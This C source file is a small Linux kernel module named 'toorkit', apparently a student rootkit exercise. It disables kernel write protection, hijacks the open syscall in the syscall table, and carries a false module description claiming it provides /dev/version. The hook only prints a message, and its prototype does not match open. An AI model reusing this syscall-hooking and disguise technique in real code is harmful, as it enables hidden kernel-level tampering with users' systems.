toorkit.c

/*
** toorkit.c for toorkit
**
** Made by chauvo_t
** Login   <chauvo_t@epitech.net>
**
** Started on  Fri Oct 30 11:15:10 2015 chauvo_t
** Last update Sat Oct 31 13:13:46 2015 chauvo_t
*/

#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/printk.h>
#include <linux/syscalls.h>
#include <linux/unistd.h>

MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("Maps pseudo-device /dev/version which gives the version of the running kernel.");
MODULE_AUTHOR("Thomas de Beauchene");

void	**sys_call_table_ptr;

asmlinkage int (*old_open)(int, const void *, size_t);

asmlinkage int new_open(int fd, const void *buf, size_t bytes)
{
	pr_info("MOUHAHAHAHAHAHAHAH !!! I'm the freak in the machine !\n");
	return old_open(fd, buf, bytes);
}

static int __init toorkit_init(void)
{
        write_cr0(read_cr0() & (~0x10000));
	sys_call_table_ptr = (void**)kallsyms_lookup_name("sys_call_table");
	old_open = sys_call_table_ptr[__NR_open];
	sys_call_table_ptr[__NR_open] = new_open;
	write_cr0(read_cr0() | (0x10000));
	return 0;
}

static void __exit toorkit_exit(void)
{
        write_cr0(read_cr0() & (~0x10000));
	sys_call_table_ptr[__NR_open] = old_open;
	write_cr0(read_cr0() | (0x10000));
}

module_init(toorkit_init);
module_exit(toorkit_exit);